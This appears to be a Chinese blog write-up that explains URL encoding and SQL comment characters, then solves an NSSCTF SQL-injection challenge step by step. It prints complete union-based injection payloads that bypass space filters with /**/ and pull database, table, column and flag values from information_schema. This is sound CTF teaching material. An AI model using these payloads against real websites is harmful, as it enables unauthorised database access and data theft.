sql 注入中的注释符

URL在定义时,定义为只支持ASCII字符,所以URL的发送方与接收方都只能处理ASCII字符。所以当你的URL中有非ASCII字符时就需要编码转换

在Web程序中进行URL请求时,常会遇到URL中含有特殊字符的问题,常见的特殊字符有 ?$&*@等字符,或者是中文。遇到这种情况时,就要对URL进行编码,用一种规则替换掉这些特殊字符,这就是URLEncode

URLEncode 规则

1.将空格转换为加号(+)

2.对0-9、a-z、A-Z之间的字符保持不变

3.对于所有其他的字符,用这个字符的当前字符集编码在内存中的十六进制格式表示,并在每一个字节前加上一个百分号(%),如字符“+”是用%2B表示,字符“=”用%3D表示,字符“&”用%26表示,每个中文字符在内存中占两个字节,字符“中”用%D6%D0表示,字符“国”用%B9%FA表示。

4.空格也可以直接用其十六进制编码方式,即用%20表示,而不是将它转换为加号(+)

#、 --+、 --%20、 %23

1.# 、 -- (空格)、--+都是sql里的注释符,可以使它们后面的语句不被执行。

在url中,如果是get请求**(记住是get请求),也就是我们在浏览器中输入的url)** ,解释执行的时候,url中#号是用来指导浏览器动作的,对服务器端无用。所以,HTTP请求中不包括#,因此使用#闭合无法注释,会报错;而使用-- (有个空格),在传输过程中空格会被忽略,同样导致无法注释,所以在get请求传参注入时才会使用--+的方式来闭合,因为+会被解释成空格。

3.如果是post请求,则可以直接使用#来进行闭合。常见的就是表单注入,如我们在后台登录框中进行注入。

4.为什么--后面必须要有空格,而#后面就不需要?
因为使用--注释时,需要使用空格,才能形成有效的sql语句,而#后面可以有空格,也可以没有,sql就是这么规定的,记住就行了。
因为不加空格,--直接和系统自动生成的单引号连接在了一起,会被认为是一个关键词,无法注释掉系统自动生成的单引号。

在urlencode中

  (空格)转换为20%

#转换为23%

NSSCTF | 在线CTF平台 ([SWPUCTF 2021 新生赛]sql)题

1.按照标题参数测试

由回显可知存在注入     '  是注入方式

?wllm=1              正常

?wllm=1'--+         报错

?wllm=1'-- (空格) 报错

?wllm=1'%23       正常

由回显可知注释符%23(HTTP请求中不包括#,因此使用#闭合无法注释,会报错)是可行的

sql 注入中的注释符_第1张图片

2.测试过滤

空格 等号

?wllm=1 1       报错

?wllm=1/**/1    正常

?wllm=1           正常

sql 注入中的注释符_第2张图片

3.测试长度

?wllm=1'order/**/by/**/3%23  

长度为3

4. 测试回显

?wllm=-1'union/**/select/**/1,2,3%23

2,3回显位置

 5.查库

?wllm=-1'union/**/select/**/1,2,database()%23

test_db

6.查表

?wllm=-1'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'test_db'%23

LTLT_flag,users

7.查列

?wllm=-1'union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/'test_db'%23

id,flag,id,username

8.查内容

?wllm=-1'union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_flag%23

NSSCTF{5ced787b-5d90

#长度不足

sql 注入中的注释符_第3张图片

sql 注入中的注释符_第4张图片

#因为回显只有二十个 需读三组

0-4500-b129-aad918ca

d315}

NSSCTF{5ced787b-5d90-4500-b129-aad918cad315}

(第二十位被重复读取)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

你可能感兴趣的:(java,前端,服务器)